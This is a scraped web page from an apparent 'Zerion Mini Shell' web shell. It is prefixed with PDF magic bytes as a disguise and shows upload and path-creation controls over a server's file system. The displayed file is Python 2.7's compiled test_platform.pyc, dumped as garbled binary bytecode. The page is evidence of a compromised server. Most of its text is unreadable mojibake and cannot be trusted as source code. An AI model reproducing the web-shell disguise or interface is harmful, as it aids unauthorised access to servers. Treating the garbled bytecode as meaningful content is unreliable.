%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_platform.pyc

ó
Nêáac@sˆddlZddlZddlZddlZddlZddlmZdejfd„ƒYZd„Z	e
dkr„e	ƒndS(iÿÿÿÿN(tsupporttPlatformTestcBseZd„Zeedƒr*d„Znd„Zd„Zd„Zd„Z	d„Z
d„Zd	„Zd
„Z
d„Zd„Zd
„Zd„Zejejjdƒdƒd„ƒZd„Zd„Zd„Zejejdkdƒd„ƒZd„Zd„Zd„ZRS(cCstjƒ}dS(N(tplatformtarchitecture(tselftres((s./usr/local/lib/python2.7/test/test_platform.pyttest_architecture
stsymlinkcCsxd„}tjjtjƒ}tjjtjƒ}tj||ƒz |j	||ƒ||ƒƒWdtj
|ƒXdS(NcSs1|ddg}tj|dtjƒ}|jƒS(Ns-cs.import platform; print platform.architecture()tstdout(t
subprocesstPopentPIPEtcommunicate(tpythontcmdtp((s./usr/local/lib/python2.7/test/test_platform.pytgets	(tostpathtrealpathtsyst
executabletabspathRtTESTFNRtassertEqualtremove(RRtrealtlink((s./usr/local/lib/python2.7/test/test_platform.pyttest_architecture_via_symlinks	 cCsDx=ttfD]/}x&ttfD]}tj||ƒ}q Wq
WdS(N(tFalsetTrueR(RtaliasedtterseR((s./usr/local/lib/python2.7/test/test_platform.pyt
test_platformscCstjƒ}dS(N(Rtsystem(RR((s./usr/local/lib/python2.7/test/test_platform.pyttest_system!scCstjƒ}dS(N(Rtnode(RR((s./usr/local/lib/python2.7/test/test_platform.pyt	test_node$scCstjƒ}dS(N(Rtrelease(RR((s./usr/local/lib/python2.7/test/test_platform.pyttest_release'scCstjƒ}dS(N(Rtversion(RR((s./usr/local/lib/python2.7/test/test_platform.pyttest_version*scCstjƒ}dS(N(Rtmachine(RR((s./usr/local/lib/python2.7/test/test_platform.pyttest_machine-scCstjƒ}dS(N(Rt	processor(RR((s./usr/local/lib/python2.7/test/test_platform.pyttest_processor0scCs(tj|_tj|_tj|_dS(N(RR(tsave_versiont
subversiontsave_subversionRt
save_platform(R((s./usr/local/lib/python2.7/test/test_platform.pytsetUp3scCs(|jt_|jt_|jt_dS(N(R.RR(R0R/R1R(R((s./usr/local/lib/python2.7/test/test_platform.pyttearDown8scCs—xÀdd>fdd?fdd@fddAfddBfddCfddDfddEfddFfddGfddHffD]U\}}tj|ƒ\}}}}}}}	|j||dd|||	f|ƒqjWidddddId fd!dJ|jf6d	d"dddKd#fdL6d	ddddMd&fdN6d	d(dddOd)fdP6d+d,d-d.dQd1fd2dRd1f6d3d4d-d5dSdfd6dT|jf6}
x|
jƒD]\\}}}
}|t_|dkrÒttd7ƒrÛt`	qÛn	|t_	|
dk	ró|
t_n|jtj
ƒ|d8ƒ|jtjƒ|d9ƒ|jtjƒ|d:ƒ|jtj
ƒ|d;ƒ|jtjƒ|d<ƒ|jtjƒ|d=ƒqWdS(UNsC2.4.3 (#1, Jun 21 2006, 13:54:21) 
[GCC 3.3.4 (pre 3.3.5 20040809)]tCPythons2.4.3tt1sJun 21 2006 13:54:21sGCC 3.3.4 (pre 3.3.5 20040809)s)IronPython 1.0.60816 on .NET 2.0.50727.42t
IronPythons	1.0.60816s.NET 2.0.50727.42s4IronPython 1.0 (1.0.61005.1977) on .NET 2.0.50727.42s1.0.0s"2.4.3 (truncation, date, t) 
[GCC]t
truncationsdate ttGCCs!2.4.3 (truncation, date, ) 
[GCC]tdates 2.4.3 (truncation, date,) 
[GCC]s2.4.3 (truncation, date) 
[GCC]s2.4.3 (truncation, d) 
[GCC]tds2.4.3 (truncation, ) 
[GCC]s2.4.3 (truncation,) 
[GCC]s2.4.3 (truncation) 
[GCC]s2.6.1s	tags/r261t67515s
r261:67515sDec  6 2008 15:26:00s+GCC 4.0.1 (Apple Computer, Inc. build 5370)sX2.6.1 (r261:67515, Dec  6 2008, 15:26:00) 
[GCC 4.0.1 (Apple Computer, Inc. build 5370)]s2.0.0s.NET 2.0.50727.3053s/IronPython 2.0 (2.0.0.0) on .NET 2.0.50727.3053tclis.NET 2.0.50727.1433s=2.6.1 (IronPython 2.6.1 (2.6.10920.0) on .NET 2.0.50727.1433)s2.7.4sMono 4.0.30319.1 (32-bit)s@2.7.4 (IronPython 2.7.4 (2.7.0.40) on Mono 4.0.30319.1 (32-bit))tJythons2.5.0ttrunkt6107s
trunk:6107sMar 26 2009sjava1.5.0_16s^2.5 (trunk:6107, Mar 26 2009, 13:02:18) 
[Java HotSpot(TM) Client VM ("Apple Computer, Inc.")]tPyPys2.5.2t63378s12.5.2 (63378, Mar 26 2009, 18:03:29)
[PyPy 1.0.0]R/iiiiii(R4s2.4.3R5R5R6sJun 21 2006 13:54:21sGCC 3.3.4 (pre 3.3.5 20040809)(R7s	1.0.60816R5R5R5R5s.NET 2.0.50727.42(R7s1.0.0R5R5R5R5s.NET 2.0.50727.42(R4s2.4.3R5R5R8sdate tR9(R4s2.4.3R5R5R8R:R9(R4s2.4.3R5R5R8R:R9(R4s2.4.3R5R5R8R:R9(R4s2.4.3R5R5R8R;R9(R4s2.4.3R5R5R8R5R9(R4s2.4.3R5R5R8R5R9(R4s2.4.3R5R5R8R5R9(s
r261:67515sDec  6 2008 15:26:00(R4s	tags/r261R<(R5R5(s/IronPython 2.0 (2.0.0.0) on .NET 2.0.50727.3053NR=(R5R5(s=2.6.1 (IronPython 2.6.1 (2.6.10920.0) on .NET 2.0.50727.1433)NR=(R5R5(s@2.7.4 (IronPython 2.7.4 (2.7.0.40) on Mono 4.0.30319.1 (32-bit))NR=(s
trunk:6107sMar 26 2009(R>R?R@(RBsMar 26 2009(RAR?RB(Rt_sys_versionRR1tNonet	iteritemsRR(thasattrR/tpython_implementationtpython_versiont
python_branchtpython_revisiontpython_buildtpython_compiler(RtinputtoutputtnameR(tbranchtrevisiontbuildnot	builddatetcompilertsys_versionstversion_tagR/tsys_platformtinfo((s./usr/local/lib/python2.7/test/test_platform.pyttest_sys_version=sn$#


		cCs+tjtjƒtjƒtjƒƒ}dS(N(Rtsystem_aliasR"R&R((RR((s./usr/local/lib/python2.7/test/test_platform.pyttest_system_alias”s		cCs#tjƒ}|jt|ƒƒdS(N(Rtunamet
assertTruetany(RR((s./usr/local/lib/python2.7/test/test_platform.pyt
test_uname›stwinswindows only testc
CsÂz±tjƒŸ}d|kr(|d=nd|d<dt_tjƒ\}}}}}}|j|dƒd|d<dt_tjƒ\}}}}}}|j|dƒWdQXWddt_XdS(NtPROCESSOR_ARCHITEW6432tfootPROCESSOR_ARCHITECTUREtbar(RtEnvironmentVarGuardRDRt_uname_cacheR\R(RtenvironR"R$R&R(R*R,((s./usr/local/lib/python2.7/test/test_platform.pyttest_uname_win32_ARCHITEW6432Ÿs

	
	cCs5tjƒ}tjdkr1|jt|ƒƒndS(Ntjava(Rtjava_verRR]tall(RR((s./usr/local/lib/python2.7/test/test_platform.pyt
test_java_ver´scCstjƒ}dS(N(Rt	win32_ver(RR((s./usr/local/lib/python2.7/test/test_platform.pyttest_win32_ver¹sc
Cs‡tjƒ}yddl}Wntk
r5t}nXt}|rƒtjƒddkrƒtjddƒ}d}x7|D]/}|j
dƒrw|jƒjƒd}PqwqwW|j
ƒ|j|dkƒ|djdƒ}|jdƒ}t|ƒt|ƒ}	|	dkr"|jdg|	ƒn|j||ƒ|j|d	dƒtjdkrl|j|ddƒqƒ|j|ddƒndS(NiÿÿÿÿitDarwintsw_verstrsProductVersion:t.t0iR5tlittleiti386tx86_64tPowerPC(R5R5R5(RuRv(Rtmac_vertgestalttImportErrorRRR\RtpopenRDt
startswithtstriptsplittclosetassertFalsetlentextendRRt	byteordertassertIn(
RRRythave_toolbox_gluetfdtreal_vertlntresult_listtexpect_listtlen_diff((s./usr/local/lib/python2.7/test/test_platform.pyttest_mac_ver¼s2



tdarwins
OSX only testcCsptjƒ}|dkr4tjƒ}tjdƒn8tj|dƒ\}}|j||ƒ|j|dƒdS(Ni(RtforkRRxt_exittwaitpidR(RtpidRXtcpidtsts((s./usr/local/lib/python2.7/test/test_platform.pyttest_mac_ver_with_forkäscCstjƒ}dS(N(Rtdist(RR((s./usr/local/lib/python2.7/test/test_platform.pyt	test_distöscCsÅtjjtjƒr>tjjtjdƒr>tjd}n	tj}tj|ƒ}|jt	j
t	jƒtt	jdƒ%}|j
dd	ƒ|j
dƒWdQX|jtjt	jƒd
ƒdS(Ns.exetwbtxi@i
s"GLIBC_1.23.4GLIBC_1.9GLIBC_1.21tglibcs1.23.4iö?(R™s1.23.4(RRtisdirRRtexistsRtlibc_vert
addCleanupRtunlinkRtopentwriteR(RRRtf((s./usr/local/lib/python2.7/test/test_platform.pyt
test_libc_verùs	c
CsŽx‡dd!fdd"fd	d#fdd$fdd%fdd&fdd'fdd(fdd)fd d*ff
D]%\}}|jtj|ƒ|ƒqaWdS(+NsSuSE Linux 9.3 (x86-64)sSuSE Linux s9.3sx86-64sSUSE LINUX 10.1 (X86-64)sSUSE LINUX s10.1sX86-64sSUSE LINUX 10.1 (i586)ti586s Fedora Core release 5 (Bordeaux)sFedora Coret5tBordeauxs"Red Hat Linux release 8.0 (Psyche)s
Red Hat Linuxs8.0tPsyches Red Hat Linux release 9 (Shrike)t9tShrikes+Red Hat Enterprise Linux release 4 (Nahant)sRed Hat Enterprise Linuxt4tNahantsCentOS release 4tCentOSsRocks release 4.2.1 (Cydonia)tRockss4.2.1tCydoniaR5(sSuSE Linux s9.3sx86-64(sSUSE LINUX s10.1sX86-64(sSUSE LINUX s10.1R£(sFedora CoreR¤R¥(s
Red Hat Linuxs8.0R¦(s
Red Hat LinuxR§R¨(sRed Hat Enterprise LinuxR©Rª(R«R©N(R¬s4.2.1R­(R5R5R5(RDRRt_parse_release_file(RRMRN((s./usr/local/lib/python2.7/test/test_platform.pyttest_parse_release_file	s									(t__name__t
__module__RRFRRR!R#R%R'R)R+R-R2R3RYR[R_tunittestt
skipUnlessRRR|RhRlRnRŒR”R–R¢R¯(((s./usr/local/lib/python2.7/test/test_platform.pyR	s.											W		'			($		cCstjtƒdS(N(Rtrun_unittestR(((s./usr/local/lib/python2.7/test/test_platform.pyt	test_mainst__main__(RRR²RR	ttestRtTestCaseRRµR°(((s./usr/local/lib/python2.7/test/test_platform.pyt<module>sÿ	

Zerion Mini Shell 1.0